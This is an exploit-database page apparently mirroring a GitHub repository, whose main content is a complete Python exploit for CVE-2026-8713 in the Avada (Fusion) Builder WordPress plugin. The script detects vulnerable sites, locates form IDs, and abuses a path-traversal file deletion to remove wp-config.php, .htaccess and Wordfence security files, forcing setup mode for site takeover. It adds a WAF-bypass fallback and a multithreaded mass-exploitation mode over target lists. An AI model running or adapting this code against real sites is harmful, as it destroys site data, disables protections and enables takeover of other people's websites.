Exploit database

GH-e3ceaa149a78879d09159aab44a303c0

shinthink/cve-2026-8713

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-8713

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
shinthink/cve-2026-8713Revision 196f4f84e005

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve_2026_8713.py

Suggested starting filePython · 24,404 bytes
#!/usr/bin/env python3
"""
CVE-2026-8713 — Avada (Fusion) Builder WordPress RCE Exploit
CVSS 9.1 | Pre-Auth | Arbitrary File Delete → Force Reinstall → RCE

Avada Builder <= 3.15.3 form submission handler lacks realpath()
validation in maybe_delete_files(), allowing path traversal file
deletion via the unauthenticated fusion_form_submit_ajax AJAX handler.

Deleting wp-config.php forces WordPress into setup mode, enabling
attacker-controlled database connection → full site takeover.

Researcher: daroo (Wordfence Bug Bounty, $3,600)
First public standalone PoC — July 2026.
"""

import requests, re, sys, os, json, time, random, hashlib, argparse, threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from dataclasses import dataclass
from typing import Optional

import urllib3
urllib3.disable_warnings()
import warnings
warnings.filterwarnings("ignore")

TIMEOUT, MAX_THREADS = 12, 20
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15",
]

# Files to delete for different impact levels
TARGET_FILES = [
    # Critical — force WordPress reinstall
    {"path": "../../wp-config.php", "desc": "wp-config.php (force reinstall → RCE)"},
    # Disable security
    {"path": "../../.htaccess", "desc": ".htaccess (disable rewrite/security)"},
    {"path": "../../../.htaccess", "desc": "root .htaccess"},
    # Plugin disable
    {"path": "../../../../plugins/wordfence/wordfence.php", "desc": "Wordfence main file"},
    {"path": "../../../../plugins/wordfence-waf/wordfence-waf.php", "desc": "Wordfence WAF"},
    # Information
    {"path": "../../../debug.log", "desc": "debug.log (information disclosure)"},
]

# Target paths to verify after deletion
VERIFY_PATHS = [
    "/wp-config.php",
    "/.htaccess",
    "/wp-content/debug.log",
]

# Avada detection markers
AVADA_MARKERS = [
    "avada",
    "fusion-builder",
    "fusion_builder",
    "Avada",
    "Fusion Builder",
    "themefusion",
]

# Priority: check Fusion Builder PLUGIN first (CVE is in plugin, not theme)
AVADA_PATHS = [
    "/wp-content/plugins/fusion-builder/fusion-builder.php",   # plugin version = CVE target
    "/wp-content/plugins/fusion-core/fusion-core.php",
    "/wp-content/themes/Avada/style.css",                       # fallback: theme detection
    "/wp-content/themes/Avada/assets/css/style.min.css",
]


def rid(n=8): return hashlib.sha256(os.urandom(16)).hexdigest()[:n]
def rua(): return random.choice(USER_AGENTS)


@dataclass
class Result:
    host: str
    status: str = "pending"
    avada: bool = False
    form_found: bool = False
    form_id: Optional[int] = None
    ajax_blocked: bool = False
    deleted_file: Optional[str] = None
    rce_possible: bool = False
    error: Optional[str] = None
    elapsed: float = 0.0


class AvadaExploit:

    def __init__(self, verbose=False, check_only=False):
        self.v = verbose
        self.check_only = check_only

    def _sess(self):
        s = requests.Session()
        s.headers.update({"User-Agent": rua()})
        s.verify = False
        return s

    # ── Detection ──────────────────────────────────────────────

    def detect(self, host):
        info = {"avada": False, "version": None}
        sess = self._sess()
        for proto in ("https://", "http://"):
            base = f"{proto}{host}"
            # Step 1: Detect Avada theme via style.css
            detected = False
            for path in AVADA_PATHS:
                try:
                    r = sess.get(f"{base}{path}", timeout=TIMEOUT)
                    if r.status_code == 200:
                        text = (r.text or "")[:2000]
                        if any(m.lower() in text.lower() for m in AVADA_MARKERS):
                            detected = True
                            break
                except: continue

            if not detected:
                continue

            info["avada"] = True

            # Step 2: Get version from readme.txt (plugin version hidden in PHP comment)
            try:
                r = sess.get(f"{base}/wp-content/plugins/fusion-builder/readme.txt", timeout=TIMEOUT)
                if r.status_code == 200:
                    m = re.search(r"Stable tag:\s*([\d.]+)", (r.text or "")[:3000])
                    if m:
                        info["version"] = m.group(1)
            except: pass

            # Fallback: theme version (different numbering, but indicates rough age)
            if not info["version"]:
                try:
                    r = sess.get(f"{base}/wp-content/themes/Avada/style.css", timeout=TIMEOUT)
                    if r.status_code == 200:
                        m = re.search(r"Version:\s*([\d.]+)", (r.text or "")[:2000])
                        if m: info["version"] = m.group(1)
                except: pass

            return info
        return info

    def find_form(self, host):
        """Find a published Avada form ID."""
        sess = self._sess()
        for proto in ("https://", "http://"):
            base = f"{proto}{host}"
            # Try to find Avada forms via REST API
            try:
                r = sess.get(f"{base}/wp-json/fusion/v1/forms", timeout=TIMEOUT)
                if r.status_code == 200:
                    forms = r.json()
                    if isinstance(forms, list) and len(forms) > 0:
                        fid = forms[0].get("id") or forms[0].get("form_post_id")
                        if fid:
                            return int(fid)
            except: pass

            # Scan homepage for Avada form
            try:
                r = sess.get(f"{base}/", timeout=TIMEOUT)
                # Look for Avada form patterns
                form_ids = re.findall(r'fusion-form[^"]*form-id=["\'](\d+)', r.text)
                if form_ids:
                    return int(form_ids[0])
                form_ids = re.findall(r'data-form-id=["\'](\d+)', r.text)
                if form_ids:
                    return int(form_ids[0])
            except: pass

            # Try common form IDs (only if REST API + homepage scan both failed)
            for fid in [1, 2, 3, 100, 1000]:
                try:
                    r = sess.post(
                        f"{base}/wp-admin/admin-ajax.php",
                        data={"action": "fusion_form_submit_ajax", "form_id": str(fid)},
                        timeout=TIMEOUT
                    )
                    text = (r.text or "")[:200]
                    if r.status_code == 200 and text.strip().startswith("{") and "success" in text:
                        return fid
                except: continue
        return None

    # ── Exploit ────────────────────────────────────────────────

    def delete_file(self, host, target_path, form_id=None):
        """
        Delete arbitrary file via path traversal in form submission.
        Tries POST first, falls back to GET for WAF bypass.
        """
        sess = self._sess()
        probe_id = rid(6)

        for proto in ("https://", "http://"):
            base = f"{proto}{host}"
            ajax_url = f"{base}/wp-admin/admin-ajax.php"

            if not form_id:
                form_id = self.find_form(host)
                if not form_id:
                    return False, "No published Avada form found"

            payload = {
                "action": "fusion_form_submit_ajax",
                "form_id": str(form_id),
                "fusion_privacy_store_ip_ua": "false",
                "fusion_privacy_expiration_interval": "0",
                "privacy_expiration_action": "delete",
                f"fusion_form_field_{probe_id}": target_path,
                f"fusion_form_field_file_{probe_id}": target_path,
            }

            # Try POST, fall back to GET (WAF bypass)
            r = None
            for method, label in [(sess.post, "POST"), (sess.get, "GET")]:
                try:
                    if label == "GET":
                        r = sess.get(ajax_url, params=payload, timeout=TIMEOUT)
                    else:
                        r = sess.post(ajax_url, data=payload, timeout=TIMEOUT)
                    code = r.status_code
                    if self.v:
                        print(f"    [+] {label} form_id={form_id}: HTTP {code}")
                    if code == 403: continue  # WAF blocked, try GET
                    break  # Got a response, stop trying methods
                except:
                    continue

            if r is None or r.status_code == 403:
                return False, "All request methods blocked by WAF"

            time.sleep(1)

            # Verify deletion
            for verify_path in [target_path.replace("../", "").lstrip("/"),
                               target_path.replace("../", "/")]:
                clean = re.sub(r'\.\./', '', verify_path)
                if not clean.startswith("/"): clean = "/" + clean
                if clean.startswith("/wp-content/uploads/fusion-forms/"):
                    clean = clean.replace("/wp-content/uploads/fusion-forms/", "/")
                try:
                    r2 = sess.get(f"{base}{clean}", timeout=TIMEOUT)
                    if r2.status_code in (404, 403):
                        r3 = sess.get(f"{base}/wp-admin/install.php", timeout=TIMEOUT)
                        if r3.status_code == 200 and ("setup" in r3.text.lower() or "installation" in r3.text.lower()):
                            return True, f"wp-config.php DELETED — WordPress in setup mode"
                        if target_path.endswith("wp-config.php"):
                            r4 = sess.get(f"{base}/", timeout=TIMEOUT)
                            if r4.status_code == 200 and "error establishing" not in r4.text.lower():
                                return False, "wp-config.php still exists"
                except: pass

            # If GET/POST returned non-403, file might have been processed
            if r.status_code in (200, 400, 302):
                for check_file in ["/license.txt", "/readme.html"]:
                    if check_file.split("/")[-1] in target_path:
                        r5 = sess.head(f"{base}{check_file}", timeout=TIMEOUT)
                        if r5.status_code == 404:
                            return True, f"{check_file} DELETED successfully"

            return False, "File deletion not confirmed"

    def verify_delete(self, host, target_file):
        """Check if a file was successfully deleted."""
        sess = self._sess()
        for proto in ("https://", "http://"):
            base = f"{proto}{host}"

            # Map traversal path to URL path
            url_path = target_file.replace("../", "")
            url_path = url_path.lstrip("/")

            try:
                # Try direct access
                r = sess.get(f"{base}/{url_path}", timeout=TIMEOUT)
                if r.status_code in (404, 403):
                    return True
                if r.status_code == 200:
                    return False  # File still exists
            except: pass

            # For wp-config.php, check if site is in install mode
            if "wp-config" in target_file:
                try:
                    r = sess.get(f"{base}/wp-admin/install.php", timeout=TIMEOUT)
                    if r.status_code == 200 and "install" in r.text.lower()[:500]:
                        return True
                except: pass
        return False

    # ── Pipeline ──────────────────────────────────────────────

    def vulnerability_check(self, host):
        """
        Non-destructive check: detect Avada, find forms, verify endpoint,
        estimate vulnerability based on version/paths. NO file deletion.
        """
        result = {"vulnerable": False, "reason": "", "details": {}}
        sess = self._sess()

        # 1. Detect Avada
        info = self.detect(host)
        if not info["avada"]:
            result["reason"] = "Avada/Fusion Builder not detected"
            return result

        result["details"]["version"] = info.get("version", "unknown")

        # 2. Version check (plugin version 3.x only, theme version 7.x ignored)
        ver = info.get("version")
        if ver:
            try:
                parts = [int(x) for x in ver.split(".")]
                # Plugin version: 3.15.3 → vulnerable, 3.15.4 → patched
                if parts[0] == 3:
                    if parts[1] < 15 or (parts[1] == 15 and len(parts) > 2 and parts[2] < 4):
                        result["vulnerable"] = True
                        result["reason"] = f"Plugin v{ver} < 3.15.4 — vulnerable"
                        result["details"]["version_check"] = "vulnerable"
                    else:
                        result["reason"] = f"Plugin v{ver} >= 3.15.4 — patched"
                        result["details"]["version_check"] = "patched"
                        return result
                # Theme version: 7.x — can't determine plugin version, assume vulnerable
                elif parts[0] >= 5:
                    result["vulnerable"] = True
                    result["reason"] = f"Avada theme v{ver} — plugin version unknown, likely vulnerable"
                    result["details"]["version_check"] = "unknown"
            except: pass

        # 3. Find forms
        for proto in ("https://", "http://"):
            base = f"{proto}{host}"
            fid = self.find_form(host)
            if fid:
                result["details"]["form_id"] = fid
                break

        if not fid:
            if result["vulnerable"]:
                result["reason"] = "Vulnerable version — but no published form found"
                return result
            result["reason"] = "Avada detected — version unknown, no form"
            return result

        # 4. Verify AJAX endpoint reachable
        try:
            r = sess.post(
                f"{base}/wp-admin/admin-ajax.php",
                data={"action": "fusion_form_submit_ajax", "form_id": str(fid)},
                timeout=TIMEOUT
            )
            code = r.status_code
            text = (r.text or "")[:200].lower()
            blocked = any(x in text for x in ["cloudflare", "captcha", "forbidden", "blocked", "access denied"])

            if code == 200 and not blocked:
                result["details"]["ajax_endpoint"] = "accessible"
                result["vulnerable"] = True
                if not result["reason"]:
                    result["reason"] = "AJAX accessible + form found — EXPLOITABLE"
            elif code == 403 or blocked:
                result["details"]["ajax_endpoint"] = f"blocked (HTTP {code}, WAF)"
                result["reason"] += " | AJAX blocked by WAF"
            else:
                result["details"]["ajax_endpoint"] = f"HTTP {code}"
        except:
            result["details"]["ajax_endpoint"] = "connection failed"

        return result

    def run(self, host, target_file=None):
        t0 = time.time()
        host = host.strip().rstrip("/")
        host = re.sub(r"^https?://", "", host)
        if not re.match(r"^[\w.-]+:\d+$", host):
            host = host.split(":")[0]
        r = Result(host=host)

        info = self.detect(host)
        if not info["avada"]:
            r.status = "not_avada"
            r.elapsed = time.time() - t0; return r

        r.avada = True

        # Check-only mode: no file deletion, just verify vulnerability
        if self.check_only:
            vc = self.vulnerability_check(host)
            if vc["vulnerable"]:
                r.status = "vulnerable"
                r.form_found = "form_id" in vc.get("details", {})
                r.form_id = vc.get("details", {}).get("form_id")
                r.ajax_blocked = "blocked" in vc.get("details", {}).get("ajax_endpoint", "")
                r.error = vc["reason"]
            elif "form_id" in vc.get("details", {}):
                r.status = "vulnerable"
                r.form_found = True
                r.form_id = vc["details"]["form_id"]
                r.error = "Form found, version unknown — likely vulnerable"
            else:
                r.status = "patched_or_safe"
                r.error = vc["reason"]
            r.elapsed = time.time() - t0; return r

        # Exploit mode: find form and attempt deletion
        fid = self.find_form(host)
        if not fid:
            r.status = "no_form"
            r.error = "No published Avada form found"
            r.elapsed = time.time() - t0; return r

        r.form_found = True
        r.form_id = fid

        if self.v:
            print(f"    [+] Found Avada form: id={fid}")

        # If no target file specified, probe with a safe test
        files_to_try = TARGET_FILES
        if target_file:
            files_to_try = [{"path": target_file, "desc": "user-specified"}]

        for target in files_to_try:
            if self.v:
                print(f"    [*] Trying: {target['desc']}")

            deleted, msg = self.delete_file(host, target["path"], fid)
            if deleted:
                r.status = "deleted"
                r.deleted_file = target["desc"]
                r.rce_possible = "wp-config" in target["path"]
                if self.v:
                    print(f"    [+] DELETED: {target['desc']}")
                break
            elif self.v:
                print(f"    [-] {msg}")

        if not r.deleted_file:
            r.status = "exploit_failed"
            r.error = "Could not delete any target file — form may require specific fields"

        r.elapsed = time.time() - t0; return r


# ── Mass Exploit ──────────────────────────────────────────────────

class Mass:

    def __init__(self, targets, threads=MAX_THREADS, target_file=None, output=None, verbose=False, exploit=False):
        self.t = targets; self.th = threads; self.tf = target_file; self.out = output; self.v = verbose
        self._exploit = exploit
        self.res = []; self._l = threading.Lock(); self._n = 0; self._T = len(targets)

    def run(self):
        n = self._T
        mode_str = "Exploit" if self._exploit else "Detection"
        print(f"\n  CVE-2026-8713  Avada (Fusion) Builder  |  CVSS 9.1"
              f"\n  Mode: {mode_str}  |  Targets: {n}  |  Workers: {self.th}"
              f"\n  {'─' * 55}\n")

        t0 = time.time()
        with ThreadPoolExecutor(max_workers=self.th) as ex:
            fs = {ex.submit(self._one, t): t for t in self.t}
            for f in as_completed(fs):
                try: r = f.result()
                except Exception as e: r = Result(host=str(fs[f]), status="error", error=str(e))
                self.res.append(r); self._print(r)
        elapsed = time.time() - t0
        self._summary(elapsed); return self.res

    def _one(self, t):
        t = t.strip().rstrip("/"); t = re.sub(r"^https?://", "", t)
        if not re.match(r"^[\w.-]+:\d+$", t): t = t.split(":")[0]
        return AvadaExploit(verbose=self.v, check_only=not self._exploit).run(t, target_file=self.tf)

    def _print(self, r):
        with self._l: self._n += 1
        if r.status == "deleted":
            print(f"  [DELETE]   {r.host:48s}  {r.elapsed:5.1f}s  {r.deleted_file}")
        elif r.status == "vulnerable":
            if r.form_found and not r.ajax_blocked:
                print(f"  [EXPLOIT]  {r.host:48s}  {r.elapsed:5.1f}s  form #{r.form_id}  (AJAX open)")
            elif r.form_found and r.ajax_blocked:
                print(f"  [VULN]     {r.host:48s}  {r.elapsed:5.1f}s  form #{r.form_id}  (WAF blocked)")
            else:
                print(f"  [AVADA]    {r.host:48s}  {r.elapsed:5.1f}s  (no form found)")
        elif r.status == "patched_or_safe":
            print(f"  [OK]      {r.host:48s}  {r.elapsed:5.1f}s  {r.error}")
        elif r.status == "no_form":
            print(f"  [NOFORM]  {r.host:48s}  {r.elapsed:5.1f}s  {r.error}")
        elif r.status == "not_avada":
            print(f"  [-]       {r.host:48s}  {r.elapsed:5.1f}s")
        elif not self.v:
            pct = self._n * 100 // self._T
            av = sum(1 for x in self.res if x.avada)
            vu = sum(1 for x in self.res if x.status == "vulnerable")
            print(f"  [{self._n}/{self._T}] {pct}% | Avada:{av} Vuln:{vu} | {r.host}")

    def _summary(self, elapsed):
        total = len(self.res)
        avada = sum(1 for r in self.res if r.avada)
        vuln = sum(1 for r in self.res if r.status == "vulnerable")
        deleted = sum(1 for r in self.res if r.deleted_file)
        has_form = sum(1 for r in self.res if r.form_found)
        print(f"\n  {'─' * 55}")
        print(f"  Scan complete  |  Time: {elapsed:.0f}s")
        print(f"  {'─' * 55}")
        print(f"  Targets        : {total}")
        print(f"  Avada detected : {avada}")
        print(f"  Forms found    : {has_form}")
        print(f"  Vulnerable     : {vuln}")
        if self._exploit:
            print(f"  Files deleted  : {deleted}")
        print()

        if self.out and (vuln > 0 or deleted > 0):
            with open(self.out, "w") as f:
                f.write(f"# CVE-2026-8713 Results | {datetime.now()}\n")
                f.write(f"# {'=' * 45}\n\n")
                for r in self.res:
                    if r.status in ("vulnerable", "deleted"):
                        f.write(f"{r.host}  |  status={r.status}  |  form_id={r.form_id}")
                        if r.deleted_file: f.write(f"  |  deleted={r.deleted_file}")
                        f.write("\n")
            print(f"  Results saved : {self.out}\n")


# ── CLI ───────────────────────────────────────────────────────────

def main():
    print("\n  CVE-2026-8713 — Avada Builder Vulnerability Detector + Exploit"
          "\n  CVSS 9.1 | Pre-Auth | Path Traversal → File Delete → RCE")

    p = argparse.ArgumentParser(description="CVE-2026-8713 Avada Builder Exploit",
        epilog="  %(prog)s -t target.com\n  %(prog)s -t target.com --exploit\n  %(prog)s -f targets.txt --exploit --delete wp-config.php")
    p.add_argument("-t", "--target"); p.add_argument("-f", "--file")
    p.add_argument("--delete", help="Custom file path to delete (e.g., ../../wp-config.php)")
    p.add_argument("--exploit", action="store_true", help="⚠️  DELETE files via path traversal (use with caution)")
    p.add_argument("-o", "--output", help="Save results to file")
    p.add_argument("--threads", type=int, default=MAX_THREADS)
    p.add_argument("-v", "--verbose", action="store_true")
    a = p.parse_args()

    targets = []
    if a.target: targets.append(a.target)
    if a.file:
        if not os.path.isfile(a.file): print(f"[!] {a.file}"); sys.exit(1)
        with open(a.file) as f:
            targets.extend(l.strip() for l in f if l.strip() and not l.startswith("#"))
    if not targets: p.print_help(); sys.exit(1)
    targets = list(dict.fromkeys(targets))

    tf = a.delete or None

    if len(targets) == 1:
        r = AvadaExploit(verbose=True, check_only=not a.exploit).run(targets[0], target_file=tf)
        print(f"\n  Host     : {r.host}\n  Avada    : {'YES' if r.avada else 'NO'}"
              f"\n  Form     : {r.form_id if r.form_found else 'NOT FOUND'}")
        if not a.exploit:
            print(f"  Vuln     : {'YES' if r.status == 'vulnerable' else r.status}")
        else:
            print(f"  Deleted  : {r.deleted_file or 'FAILED'}")
            if r.rce_possible: print(f"  RCE      : wp-config deleted — site in setup mode")
        if r.error: print(f"  Note     : {r.error}")
        print(f"  Time     : {r.elapsed:.1f}s\n"); return

    print(f"\n  {len(targets)} target(s) loaded\n")
    Mass(targets, threads=a.threads, target_file=tf, output=a.output, verbose=a.verbose, exploit=a.exploit).run()


if __name__ == "__main__":
    main()